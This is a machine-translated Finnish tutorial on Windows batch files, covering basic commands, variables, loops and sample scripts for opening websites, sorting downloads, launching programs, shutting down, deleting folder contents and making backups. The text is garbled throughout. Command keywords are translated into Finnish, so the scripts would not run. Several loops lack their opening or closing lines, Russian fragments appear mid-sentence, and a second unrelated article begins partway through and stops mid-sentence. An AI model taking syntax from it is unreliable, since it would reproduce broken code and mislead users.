Peruskomennot. bat-tiedostokomennot

Kotiin / Erittelyt

Windows bat tiedostot ovat kätevä tapa suorittaa erilaisia ​​tehtäviä tietokoneella, jota tietokoneasiantuntijat käyttävät aktiivisesti. Niiden avulla voit automatisoida jokapäiväisiä tehtäviä, lyhentää niiden valmistumisaikaa ja muuttaa monimutkaisen prosessin tavalliselle käyttäjälle mahdolliseksi. Tässä artikkelissa esitellään perusominaisuudet erätiedostot ja suosituksia niiden kirjoittamiseen itse.

Automaatio on tehty helpoksi

Kuinka luoda bat-tiedosto? Voit tehdä tämän seuraavasti:

  1. Luo tekstiasiakirja missä tahansa tekstieditorissa, esimerkiksi Muistiossa tai WordPadissa.
  2. Kirjoita siihen komentosi, alkaen @echo , ja sitten (joka kerta uudelle riville) otsikko [eräkomentosarjan nimi], echo [viesti, joka näytetään näytöllä] ja tauko.
  3. Tallenna teksti sähköiseen asiakirjaan .bat-tunnisteella (esimerkiksi test.bat).
  4. Suorita kaksoisnapsauttamalla juuri luotua erätiedostoa.
  5. Voit muokata sitä napsauttamalla sitä napsauta oikeaa painiketta hiirellä ja valitse pikavalikosta "Muuta".

Raaka-tiedosto näyttää suunnilleen tältä:

otsikko Tämä on ensimmäinen bat-tiedoston käsikirjoitus!

echo Tervetuloa käsikirjoitukseen eräkäsittely!

Käsittelemme alla tarkemmin bat-tiedostokomentoja ja niiden käyttöä.

Vaihe 1: Luo ohjelmistoskripti

Oletetaan, että käyttäjällä on usein ongelmia verkon kanssa. Hän käyttää jatkuvasti komentoriviä kirjoittamalla ipconfig ja pingillä Googlen verkko-ongelmien vianmäärityksessä. Jonkin ajan kuluttua käyttäjä tajuaa, että olisi paljon tehokkaampaa, jos hän kirjoittaisi yksinkertaisen bat-tiedoston, kirjoittaisi sen USB-asemaansa ja ajaisi sen diagnosoimissaan tietokoneissa.

Uuden tekstidokumentin luominen

Erätiedosto helpottaa toistuvien tehtävien suorittamista tietokoneellasi Windowsin komentokehotteen avulla. Alla on esimerkki skriptistä, joka vastaa tekstin näyttämisestä näytöllä. Ennen bat-tiedoston luomista, napsauta hiiren kakkospainikkeella tyhjää kohtaa hakemistossa ja valitse "Luo" ja sitten "Tekstiasiakirja".

Koodin lisääminen

Kaksoisnapsauttamalla tätä uutta tekstiasiakirjaa avautuu oletustekstieditori. Voit kopioida ja liittää yllä olevan esimerkkikoodin tekstimerkintään.

Tallennetaan

Yllä oleva komentosarja näyttää näytöllä tekstin "Tervetuloa eräkäsittelyyn!" Sähköinen asiakirja on tallennettava valitsemalla valikkokohta tekstieditori"Tiedosto", "Tallenna nimellä" ja määritä sitten haluamasi bat-tiedoston nimi. Se tulee täydentää .bat-tunnisteella (esimerkiksi welcome.bat) ja napsauta OK. varten oikea näyttö Kyrillinen joissakin tapauksissa sinun on varmistettava, että olet valinnut oikean koodauksen. Esimerkiksi käytettäessä venäläistettyä konsolia Windows-järjestelmät NT-asiakirja on tallennettava CP866:een. Nyt sinun pitäisi kaksoisnapsauttaa bat-tiedoston pikakuvaketta aktivoidaksesi sen.

Mutta seuraava viesti tulee näyttöön:

"Tervetuloa eräohjelmaan! Jatka painamalla mitä tahansa näppäintä..."

Jos bat-tiedosto ei käynnisty, käyttäjät suosittelevat menemään rekisteriin ja poistamaan avaimen:

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.BAT\UserChoice."

Älä usko, että tämä on kaikki, mitä eräskriptit voivat tehdä. Komentosarjaparametrit ovat muunneltuja versioita komentorivikomennoista, joten käyttäjää rajoittavat vain heidän kykynsä. Ja ne ovat melko laajoja.

Vaihe 2: Tutustu joihinkin komentoihin

Jos PC-käyttäjä tuntee DOS-konsolin komentojen suorittamisen, hän on mestari ohjelmistoskriptien luomisessa, koska ne ovat samaa kieltä. Bat-tiedostojen rivit kertovat cmd.exe-tulkijalle kaiken, mitä siltä vaaditaan. Tämä säästää aikaa ja vaivaa. Lisäksi on mahdollista määritellä jotain logiikkaa (esim. yksinkertaiset silmukat, ehdolliset jne., jotka ovat käsitteellisesti samanlaisia ​​kuin proseduuriohjelmointi).

Sisäänrakennetut komennot

1. @echo on bat-tiedostokomento, jonka avulla voit nähdä komentosarjan käynnissä olevan komentorivillä. Sitä käytetään tuotantokoodin edistymisen katseluun. Jos komentotiedostossa on ongelmia, tämä komento erottaa ongelmat nopeasti. Lisääminen mahdollistaa koodin suorituksen nopean lopettamisen, jolloin vältetään tarpeettoman tiedon näyttäminen näytöllä.

2. Otsikko tarjoaa samat toiminnot kuin tunniste HTML-kielessä, eli luo komentoriviikkunaan eräajon skriptille otsikon.</p><p>3. Kutsu kutsuu yhtä bat-tiedostoa toisesta tai aliohjelmasta yhden skriptin sisällä. Esimerkiksi tehofunktio laskee tehon % 2 kohteesta % 1:</p><p>jos %counter% gtr 1 (</p><p>aseta /a counter-=1</p><p>endlocal & set result=%prod%</p><p><img src='https://i2.wp.com/syl.ru/misc/i/ai/324915/1862019.jpg' width="100%" loading=lazy loading=lazy></p><p>4. Cls puhdistaa <a href="https://ermake.ru/fi/osnovnye-cmd-komandy-prosto-o-poleznom-udalenie-katalogov/">komentorivi</a>. Käytetään varmistamaan, että vieraan koodin aikaisempi tulos ei häiritse nykyisen skriptin edistymisen katselua.</p><p>5. Color määrittää fontin ja taustavärin. Esimerkiksi, <a href="https://ermake.ru/fi/photoshop-kak-izmenit-cvet-obekta-komanda-zamenit-cvet-replace-color-v/">värikäsky</a> f9 määrittää valkoiset kirjaimet sinisellä taustalla. Komento ilman parametria palauttaa oletusasetukset.</p><p>6. Kaikua käytetään tietojen näyttämiseen sekä tällaisen lähdön sallimiseen (kaiku päällä) tai poistamiseen (kaiku pois päältä). Esimerkiksi echo-komento. tulostaa uuden rivin ilman pistettä ja kaiku . - piste. Ilman parametreja komento näyttää tiedot nykyisestä tilastaan ​​- kaiku päällä tai kaiku pois.</p><p>7. Rem tarjoaa samat toiminnot kuin tunniste<! в HTML. Такая строка не является частью выполняемого кода. Вместо этого она служит для пояснения и предоставления информации о нем.</p><p>8. Tauko-toiminnolla voit keskeyttää bat-tiedoston komentojen suorittamisen. Tämä mahdollistaa suoritettujen rivien lukemisen ennen ohjelman jatkamista. Tässä tapauksessa näytölle tulee viesti "Jatka painamalla mitä tahansa näppäintä...".</p><p>9. Aseta voit tarkastella tai asettaa ympäristömuuttujia. /p-kytkimellä komento pyytää käyttäjää syöttämään ja tallentaa sen. Parametrilla /a voit suorittaa yksinkertaisia ​​aritmeettisia operaatioita ja määrittää myös niiden tuloksen muuttujalle. Merkkijonooperaatioita suoritettaessa ei tulisi olla välilyöntejä yhtäläisyysmerkin edessä tai jälkeen. Esimerkiksi set-komento näyttää luettelon ympäristömuuttujista, set HOME näyttää argumenttien arvot, jotka alkavat "HOME" ja set /p input=enter anteger: pyytää kokonaisluvun ja määrittää sen vastaavalle muuttujalle.</p><p>10. Käynnistä "" [verkkosivusto] käynnistää määritetyn verkkosivuston oletusselaimessasi.</p><p>11. If käytetään tietyn tilan tarkistamiseen. Jos se on totta, seuraava komento suoritetaan. Ehtoja on 3 tyyppiä:</p><ul><li>ERRORLEVEL-numero - tarkistaa viimeksi suoritetun komennon lopetuskoodin nähdäkseen, vastaako se määritettyä numeroa vai ylittääkö se sen. Tässä tapauksessa 0 tarkoittaa, että tehtävä on suoritettu onnistuneesti, ja mikä tahansa muu luku, yleensä positiivinen, tarkoittaa virhettä. Voit esimerkiksi käyttää sisäkkäisiä komentoja paikantaaksesi poistumiskoodin: jos virhetaso 3, jos ei, virhetaso 4 echo error #3 tapahtui.</li><li>Line1 == rivi2 - tarkistaa, täsmäävätkö kaksi merkkijonoa. Jos esimerkiksi ulkoista parametria ei ole, if "%1"= ="" goto ERROR -komento siirtää ohjauksen ERROR-tunnisteeseen.</li><li>EXIST name - tarkistaa tiedoston olemassaolon määritetyllä nimellä. Esimerkiksi, jos sitä ei ole olemassa A:\program.exe KOPIO C:\PROJECTS\program.exe A: kopioi program.exe-tiedoston asemaan A, jos sitä ei ole siellä.</li> </ul><p>12. Elsen on oltava samalla rivillä If-komennon kanssa. Osoittaa, että seuraava käsky on suoritettava, jos lausekkeen arvo on epätosi.</p><p><img src='https://i2.wp.com/syl.ru/misc/i/ai/324915/1862021.jpg' width="100%" loading=lazy loading=lazy></p><p>13. For käytetään toistamaan tiettyjä toimintoja luettelon jokaiselle jäsenelle. Sisältää %%argumentin muotoa (list) do -komennossa. Argumentti voi olla mikä tahansa kirjain A:sta Z:hen. Lista on merkkijonosarja, joka on erotettu välilyönneillä tai pilkuilla. Jokerimerkkejä voidaan myös käyttää. Esimerkiksi:</p><ul><li>%%d in (A, C, D) tee DIR %%d - näyttää peräkkäin asemien A, C ja D hakemistot;</li><li>%%f in (*.TXT *.BAT *.DOC) do TYPE %%f - tulostaa kaikkien nykyisen hakemiston .txt-, .bat- ja .doc-tiedostojen sisällön;</li><li>%%P in (%PATH%) tee jos olemassa %%P\*.BAT COPY %%P\*.BAT C:\BAT - kopioi kaikki erätiedostot, jotka ovat kaikissa hakureitin hakemistoissa C:hen: \ kansio WAT.</li> </ul><p>14. Kaksoispiste (:) ennen sanaa muodostaa linkin, jonka avulla voit ohittaa osan <a href="https://ermake.ru/fi/osnovnye-vozmozhnosti-optimizacii-koda-programmistom-i-kompilyatorom/">ohjelmakoodi</a> tai mene takaisin. Käytetään Call- ja Goto-komentojen kanssa, mikä osoittaa, mistä pisteestä bat-tiedoston suoritusta tulee jatkaa, esimerkiksi kun tietty ehto täyttyy:</p><p>15. Muuttujat:</p><ul><li>%%a edustaa jokaista kansion tiedostoa;</li><li>%CD% - nykyinen hakemisto;</li><li>%DATE% - <a href="https://ermake.ru/fi/destiny-1-trebovaniya-sistemnye-trebovaniya-destiny-daty-otkrytiya-kontenta/">järjestelmän päivämäärä</a>, jonka muoto riippuu lokalisoinnista;</li><li>%TIME% - <a href="https://ermake.ru/fi/debian-sistemnoe-vremya-nekorrektnoe-vremya-na-ubuntu-ili-debian---problemy-s-ntp/">järjestelmän aika</a> muodossa HH:MM:SS.mm.;</li><li>%RANDOM% - luotu näennäissatunnainen luku välillä 0 - 32767;</li><li>%ERRORLEVEL% - viimeksi suoritetun komennon tai bat-skriptin palauttama poistumiskoodi.</li> </ul><p>Voit poimia osan muuttujan sisältämästä merkkijonosta sen sijainnin ja pituuden perusteella seuraavasti:</p><p>%[muuttuja]:~[aloitus], [pituus]%. Voit esimerkiksi näyttää päivämäärän muodossa PP/KK/VVVV muodossa VVVV-KK-PP seuraavasti: echo %DATE:~6.4%-%DATE:~3.2%-%DATE:~0.2%.</p><p>16. (". \") - juurikansio. Kun työskentelet konsolin kanssa, sinun on ohjattava komentotoiminto tiettyyn hakemistoon ennen tiedoston nimen muuttamista, poistamista jne. Kun käytät erätiedostoa, suorita se missä tahansa haluamassasi hakemistossa.</p><p>17. %digit - hyväksyy käyttäjän bat-tiedostoon välittämien parametrien arvot. Voidaan erottaa välilyönneillä, pilkuilla tai kaksoispisteillä. "Numero" on luku väliltä 0 ja 9. Esimerkiksi %0 ottaa nykyisen komennon arvon. %1 vastaa ensimmäistä parametria jne.</p><p>18. Shift - komento, jota käytetään syöttöparametrien siirtämiseen yhden paikan verran. Käytetään, kun ulkoiset argumentit välitetään erätiedostoon. Esimerkiksi seuraava bat-tiedosto kopioi komentorivillä parametreiksi määritetyt tiedostot asemaan D:</p><p>jos ei (%1)==() siirry seuraavaksi</p><p>Lisäksi voit suorittaa seuraavat manipulaatiot argumenteilla:</p><ul><li>%~ - poista ympäröivät lainausmerkit;</li><li>%~f - laajenna parametri koko polun nimeen taajuusmuuttajan nimen kanssa;</li><li>%~d - näytä levyn nimi;</li><li>%~p - näyttää vain polun;</li><li>%~n - valitse parametrista vain tiedostonimi;</li><li>%~x - jätä vain laajennus;</li><li>%~s - muuntaa polun esitykseksi lyhyillä nimillä;</li><li>%~a - pura tiedoston attribuutit;</li><li>%~t - näyttää luomispäivämäärän ja -ajan;</li><li>%~z - näytä tiedostokoko;</li><li>%~$PATH: - hakee listatuista hakemistoista <a href="https://ermake.ru/fi/kak-vyvesti-znacheniya-vseh-peremennyh-okruzheniya-v-windows-peremennye-v-php/">ympäristömuuttuja</a> PATH ja laajentaa parametrin ensimmäiseksi löydetyksi täydelliseksi nimeksi tai palauttaa tyhjän merkkijonon epäonnistuessa.</li> </ul><p><img src='https://i0.wp.com/syl.ru/misc/i/ai/324915/1862020.jpg' width="100%" loading=lazy loading=lazy></p><h2>Jokerimerkit</h2><p>Monet komennot hyväksyvät tiedostonimimalleja - merkkejä, joiden avulla voit yhdistää tiedostonimiä. Jokerimerkkejä ovat:</p><ul><li>* (tähti) - tarkoittaa mitä tahansa merkkijonoa;</li><li>? (kysymysmerkki) - korvaa yhden (tai 0) muun merkin kuin pisteen (.).</li> </ul><p>Esimerkiksi dir *.txt-komento näyttää luettelon txt-tiedostoista ja dir ???.txt näyttää luettelon <a href="https://ermake.ru/fi/kak-zakinut-tekstovyi-dokument-na-aifon-sohranenie-dokumenta-v/">tekstiasiakirjoja</a>, jonka nimen pituus ei ylitä 3 kirjainta.</p><h2>Toiminnot</h2><p>Kuten aliohjelmat, niitä emuloidaan kutsu-, setlocal-, endlocal- ja label-komennoilla. Seuraava esimerkki osoittaa mahdollisuuden määrittää muuttuja, johon tulos tallennetaan puhelulinjalle:</p><p>call:say result=world</p><p><img src='https://i1.wp.com/syl.ru/misc/i/ai/324915/1862022.jpg' width="100%" loading=lazy loading=lazy></p><h2>Laskelmat</h2><p>Bat-tiedostoissa voit suorittaa yksinkertaisia ​​aritmeettisia operaatioita 32-bittisille kokonaisluvuille ja biteille komennolla set /a. Suurin tuettu luku on 2^31-1 = 2147483647 ja pienin on -(2^31) = -2147483648. Syntaksi muistuttaa C-ohjelmointikieltä. Aritmeettisia operaattoreita ovat: *, /, %, +, -. Bat-tiedostossa % (kokonaisluvun jaon loppuosa) tulee syöttää muodossa "%%".</p><p>Binäärilukuoperaattorit tulkitsevat luvun 32-bittiseksi sekvenssiksi. Näitä ovat: ~ (bittikohtaisesti EI tai komplementti), & (AND), | (OR), ^ (yksinomainen TAI),<< (сдвиг влево), >> (siirrä oikealle). Looginen negatiivinen operaattori on! (huutomerkki). Se muuttaa 0:sta 1:ksi ja nollasta poikkeavan arvon 0:ksi. Yhdistelmäoperaattori on (pilkku), mikä mahdollistaa useamman toiminnon suorittamisen yhdellä sarjakomennolla. Yhdistetyt osoitusoperaattorit += ja -= lausekkeissa a+=b ja a-= ja vastaavat lausekkeita a=a+b ja a=a-b. *=, %=, /=, &=, |=, ^=, >>=, toimivat samalla tavalla.<<=. Приоритет операторов следующий:</p><p>(); %+-*/; >>, <<; &; ^; |; =, %=, *=, /=, +=, -=, &=, ^=, |=, <<=, >>=; ,</p><p>Literaalit voidaan syöttää desimaalilukuina, heksadesimaalilukuina (jossa on 0x) ja oktaalilukuina (alkunolla). Esimerkiksi /a n1=0xffff määrittää n1:lle heksadesimaaliarvon.</p><h2>Ulkoiset komennot</h2><ul><li>Exit-näppäintä käytetään poistumaan DOS-konsolista tai (/b-vaihtoehdolla) vain nykyisestä bat-tiedostosta tai rutiinista.</li><li>Ipconfig on klassinen konsolikomento, joka näyttää verkkotiedot. Se sisältää MAC- ja IP-osoitteet sekä aliverkon peitteet.</li><li>Ping lähettää IP-osoitteen ping-kutsuja ja lähettää siihen datapaketteja sen etäisyyden ja viiveen arvioimiseksi (vastaus). Käytetään myös tauon asettamiseen. Esimerkiksi komento ping 127.0.01 -n 6 keskeyttää koodin suorittamisen 5 sekunniksi.</li> </ul><p>Bat-tiedostojen komentokirjasto on valtava. Onneksi verkossa on monia sivuja, jotka luettelevat ne kaikki yhdessä komentosarjamuuttujien kanssa.</p><p><img src='https://i1.wp.com/syl.ru/misc/i/ai/324915/1862017.jpg' width="100%" loading=lazy loading=lazy></p><h2>Vaihe 3: Kirjoita ja suorita bat-tiedosto</h2><p>Seuraava skripti tekee päivittäisestä online-toiminnastasi paljon helpompaa. Entä jos haluat avata välittömästi kaikki suosikkiuutissivustosi? Koska komentosarjat käyttävät konsolikomentoja, voit luoda skriptin, joka avaa jokaisen uutissyötteen yhdessä selainikkunassa.</p><p>Seuraavaksi sinun tulee toistaa bat-tiedoston luontiprosessi aloittaen tyhjästä tekstiasiakirjasta. Voit tehdä tämän napsauttamalla hiiren kakkospainikkeella tyhjää kohtaa missä tahansa kansiossa ja valitsemalla "Uusi" ja sitten "Tekstiasiakirja". Kun olet avannut tiedoston, sinun on syötettävä seuraava komentosarja, joka käynnistää tärkeimmät Internetissä saatavilla olevat venäjänkieliset mediat:</p><p>aloita "" http://fb.ru</p><p>aloita "" http://www.novayagazeta.ru</p><p>aloita "" http://echo.msk.ru</p><p>aloita "" http://www.kommersant.ru</p><p>aloita "" http://www.ng.ru</p><p>aloita "" http://meduza.io</p><p>aloita "" https://news.google.com/news/?ned=ru_ru&hl=ru</p><p>Tämä komentosarja sisältää ""-aloituskomennot, jotka avaavat useita välilehtiä. Voit korvata ehdotetut linkit muilla valitsemillasi linkeillä. Kun olet syöttänyt komentosarjan, siirry editorin "Tiedosto"-valikkoon ja sitten "Save as..." ja kirjoita asiakirja .bat-tunnisteella muuttamalla "Tiedostotyyppi"-parametriksi "Kaikki tiedostot" (* *).</p><p>Tallennuksen jälkeen voit suorittaa skriptin kaksoisnapsauttamalla sitä. Web-sivut alkavat latautua välittömästi. Halutessasi voit sijoittaa tämän tiedoston työpöydällesi. Näin pääset välittömästi kaikkiin suosikkisivustoihisi.</p><h2>Järjestäjä</h2><p>Jos lataat useita tiedostoja päivässä, pian satoja niitä kerääntyy "Lataukset"-kansioon. Voit luoda skriptin, joka järjestää ne tyypin mukaan. Aseta vain ohjelman sisältävä .bat-tiedosto kansioon, jossa on järjestämättömiä tietoja, ja suorita kaksoisnapsauttamalla:</p><p>rem Jokainen kansion tiedosto</p><p>%%a in (.\*") tee (</p><p>rem-tarkistaa laajennuksen läsnäolon ja ei kuulu tähän komentosarjaan</p><p>if "%%~xa" NEQ "" if "%%~dpxa" NEQ "%~dpx0" (</p><p>rem tarkistaa kunkin laajennuksen kansion olemassaolo, ja jos sitä ei ole, luo se</p><p>jos ei ole olemassa "%%~xa" mkdir "%%~xa"</p><p>rem siirtää tiedosto kansioon</p><p>siirrä "%%a" "%%~dpa%%~xa\"</p><p>Tämän seurauksena "Lataukset"-hakemistossa olevat tiedostot lajitellaan kansioihin, joiden nimet vastaavat niiden laajennusta. Se on niin yksinkertaista. Tämä eräskripti toimii kaikentyyppisten tietojen kanssa, oli se sitten asiakirja, video tai ääni. Vaikka tietokone ei tue niitä, skripti luo silti kansion, jossa on oikea nimike. Jos JPG- tai PNG-hakemisto on jo olemassa, ohjelma yksinkertaisesti siirtää tiedostot tällä tiedostotunnisteella sinne.</p><p>Tämä on yksinkertainen osoitus siitä, mitä eräkomentosarjat voivat tehdä. Aina kun yksinkertainen tehtävä on tehtävä uudestaan ​​​​ja uudestaan, olipa kyseessä tiedostojen järjestäminen, useiden verkkosivujen avaaminen, joukkonimeäminen tai kopioiden tekeminen tärkeistä asiakirjoista, eräkomentosarja voi auttaa sinua saamaan työläs työn tehtyä muutamalla napsautuksella.</p> <i> </i> <p>Graafisen käyttöliittymän käyttö käyttöjärjestelmissä näyttää nykyään itsestäänselvyydeltä ja täysin luonnolliselta, mutta näin ei aina ollut. Ensimmäisessä Microsoftin kehittämässä käyttöjärjestelmässä, MS DOS:ssa, ei ollut graafista käyttöliittymää, ja sitä ohjattiin kirjoittamalla tekstikomentoja. Siitä on kulunut melkein 40 vuotta, mutta komentorivin komentosarjakieli on edelleen suosittu, eikä vain kehittäjien keskuudessa.</p> <p>Komentorivi ei ole niin kätevä, mutta sen avulla voit suorittaa toimintoja, jotka eivät ole mahdollisia graafisesta käyttöliittymästä. Toisaalta konsolin käynnistäminen joka kerta, komentojen syöttäminen siihen peräkkäin - kaikki tämä hidastaa työtä suuresti. Voit kuitenkin yksinkertaistaa tehtävää merkittävästi luomalla bat-tiedoston tai yksinkertaisesti komentotiedoston - tekstitiedoston BAT-tunnisteella, joka sisältää luettelon CMD-komentotulkin käsittelemistä ohjeista. Tällaisia ​​tiedostoja käytetään automatisoimaan erilaisia ​​tehtäviä, esimerkiksi poistamaan tilapäisiä tiedostoja aikataulussa tai käynnistämään ohjelmia.</p> <h2><span>Kuinka luoda tiedosto BAT-tunnisteella</span></h2> <p>Joten kuinka luoda bat-tiedosto Windows 7/10: ssä? Hyvin yksinkertainen. Tätä varten tarvitset minkä tahansa tekstieditorin ja tuntemuksen komentorivin perusteista. Voit käyttää Notepadia tai jopa paremmin Notepad++:aa, koska jälkimmäisessä on syntaksin korostus. Luo editorissa <a href="https://ermake.ru/fi/nano-kak-sohranit-izmeneniya-kak-v-linux-polzovatsya-nano-tekstovyi-redaktor-nano/">uusi tiedosto</a>, valitse "Tiedosto"-valikosta "Tallenna nimellä", anna tulevalle skriptille nimi ja valitse "Tiedostotyyppi"-pudotusvalikosta "Erätiedosto (*bat; *cmd; *nt)".</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-2.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Jos haluat käyttää Notepadia bat-tiedoston luomiseen, sinun on määritettävä tunniste manuaalisesti ja valittava "Tiedostotyyppi"-luettelosta "Kaikki tiedostot".</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-3.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Kuten näet, tiedoston luominen bat-tunnisteella ei ole vaikeaa, mutta tässä on joitain hienouksia. Komentotiedostoissa ei voi käyttää rivinvaihtoa, jos skriptin runko on kyrillinen, koodaus on muutettava lisäämällä chcp 1251 -komento oikeaan paikkaan.</p> <p>BAT-laajennuksen sijasta voit käyttää CMD:tä, komentosarjan suorittamisen tulos on täsmälleen sama.</p> <h2><span>Peruskomennot, syntaksi ja esimerkkejä erätiedostojen käytöstä</span></h2> <p>Tiedät kuinka tehdä bat-tiedosto, nyt on mielenkiintoisimman osan, nimittäin CMD-tulkkikielen syntaksin, aika. On selvää, että tyhjä erätiedosto ei toimi, se ei edes käynnisty, kun kaksoisnapsautat sitä. Jotta komentosarja toimisi, siihen on kirjoitettava vähintään yksi komento. Visuaalista esimerkkiä varten katsotaan kuinka kirjoitetaan bat-tiedosto ohjelmien käynnistämiseksi. Oletetaan, että kun aloitat työn, käynnistät joka kerta kolme ohjelmaa - Chrome, Firefox ja VLC. Yksinkertaistetaan tehtävää luomalla komentosarja, joka käynnistää nämä ohjelmat itse viiden sekunnin välein.</p> <p>Avaa tyhjä erätiedosto ja liitä siihen seuraavat komennot:</p><p>Käynnistä "" "C:/Program Files/Google/Chrome/Application/chrome.exe" aikakatkaisu /t 05 aloita "" "C:/Program Files/Mozilla Firefox/firefox.exe" aikakatkaisu /t 05 aloita "" "C :/Ohjelmatiedostot/VideoLAN/VLC/vlc.exe"</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-4.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Joukkue <b>aloita</b> käynnistää halutun ohjelman suoritettavan tiedoston ja komennon <b>aikakatkaisu/t</b> määrittää käynnistysten välisen aikavälin. Kiinnitä huomiota lainausten sijoitteluun - ne sisältävät polkuja, jotka sisältävät välilyöntejä. Lisäksi, jos polussa on kyrillisiä merkkejä, sinun tulee lisätä komento, joka muuttaa koodauksen skriptin alkuun <b>chcp 1251</b>, muuten tulkki ei pysty lukemaan polkua oikein.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-5.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Kun suoritat komentosarjan, neljä konsoli-ikkunaa avautuu peräkkäin, tämä on normaali ilmiö komentojen suorittamisen jälkeen, ne kaikki sulkeutuvat automaattisesti, mutta voit tehdä sen niin, että vain ensimmäinen ikkuna avautuu. Tätä varten sovelluksen käynnistyskoodi tulee muuttaa seuraavasti:</p><p>Aloita /b "" "polku"</p><p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-6.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Saattaa myös käydä niin, että jossain vaiheessa on tarpeen keskeyttää komentosarjan suoritus, jotta käyttäjä voi päättää suorittaako kaikki muut komennot vai ei. Tätä varten on käsky <b>tauko</b>. Kokeile korvata aikakatkaisu sillä ja katso mitä tapahtuu.</p><p>Aloita /b "" "polku" tauko</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-7.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Katsotaanpa toista esimerkkiä bat-tiedoston komennoista. Kirjoitetaan komentosarja, joka sammuttaa tietokoneen yhdessä tapauksessa ja käynnistää sen uudelleen toisessa tapauksessa. Näihin tarkoituksiin käytämme komentoa <b>sammutus</b> parametrien kanssa <b>/s</b>, <b>/r</b> Ja <b>/t</b>. Voit halutessasi lisätä toiminnon suorittamispyynnön leipätiedostoosi seuraavasti:</p><p>@echo off chcp 1251 echo "Haluatko varmasti sammuttaa tietokoneesi?" tauko sammutus /s /t 0</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-8.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-9.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Selitetään. Ensimmäinen komento piilottaa itse komentojen tekstin, toinen asettaa kyrillisen koodauksen, kolmas näyttää viestin käyttäjälle, neljäs asettaa tauon, viides sammuu ja näppäimellä <b>/r</b> sijasta <b>/s</b> käynnistää tietokoneesi uudelleen ilman perinteistä yhden minuutin viivettä. Jos et halua seisoa seremoniassa pyyntöjen ja taukojen kanssa, voit jättää vain viidennen komennon.</p> <p>Jos venäläisen tekstin sijaan näet kryakozyabran komentoa suoritettaessa, yritä muuntaa komentosarjatiedosto ANSI:ksi.</p> <p>Mitä muuta voit tehdä skripteillä? Monet asiat, esimerkiksi tiedostojen poistaminen, kopioiminen tai siirtäminen. Oletetaan, että D-aseman juuressa on tietty tietokansio, jonka sisältö on tyhjennettävä yhdellä iskulla. Avaa erätiedosto ja liitä siihen seuraava komento:</p><p>Del /A /F /Q "D:/data"</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-10.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Tai voit tehdä tämän:</p><p>Forfile /p "D:/data" /s /m *.* /c "cmd /c Del @path"</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-11.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Toisin kuin ensimmäinen, toinen komento poistaa tiedostoja rekursiivisesti, toisin sanoen kaikki tietokansion tiedostot sekä alihakemistoissa sijaitsevat tiedostot poistetaan.</p> <p>Tässä on toinen hyödyllinen esimerkki. Kirjoitetaan skripti, joka luo varmuuskopion yhden kansion sisällöstä ja tallentaa tiedot toiseen. Komento vastaa kopioinnista <b>robokopio</b>:</p><p>Robocopy C:/data D:/backup /e tauko</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-12.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Kun suoritat tällaisen erätiedoston, kopioit tietokansion koko sisällön varmuuskopiokansioon, mukaan lukien alihakemistot, tyhjinä ja tiedostoineen. Muuten, robocopy-komennossa on monia parametreja, joiden avulla voit määrittää kopioparametreja erittäin joustavasti.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-13.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <h2><span>Suorita bat-tiedostoja järjestelmänvalvojana ja aikataulun mukaisesti, piilota lepakkokäynnistys</span></h2> <p>Nyt tiedät kuinka luoda erätiedostoja ja sinulla on yleinen käsitys CMD-tulkkikielestä. Nämä olivat perusasiat, nyt on aika tutustua joihinkin hyödyllisiin ominaisuuksiin lepakkotiedostojen kanssa työskentelyssä. Tiedetään, että ohjelmat vaativat järjestelmänvalvojan oikeudet joidenkin toimintojen suorittamiseen. Batnikit saattavat myös tarvita niitä. Ilmeisin tapa suorittaa komentosarja järjestelmänvalvojana on napsauttaa sitä hiiren kakkospainikkeella ja valita sopiva vaihtoehto pikavalikosta.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-14.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Lisäksi voit varmistaa, että tietty erätiedosto käynnistetään aina korotetuilla oikeuksilla. Tätä varten sinun on luotava tavallinen pikakuvake tällaiseen komentosarjaan, avattava sen ominaisuudet, napsauta "Lisäasetukset" -painiketta ja valitse "Suorita järjestelmänvalvojana" -valintaruutu avautuvassa ikkunassa. Tämä menetelmä on myös hyvä, koska sen avulla voit valita minkä tahansa kuvakkeen pikakuvakkeelle, kun taas tiedostolla, jolla on BAT- tai CMD-tunniste, on aina epäselvä ulkoasu.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-15.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Skriptit, kuten kaikki sovellukset, voidaan käynnistää aikataulussa. Joukkue <b>aikakatkaisu/t</b> ei ole täysin sopiva viivästettyyn käynnistykseen, on parasta käyttää Windowsin sisäänrakennettua "Task Scheduler" -ohjelmaa. Täällä kaikki on yksinkertaista. Avaa komennolla <b>taskchd.msc</b> Ajastin, päätä laukaisin, valitse toiminto "Suorita 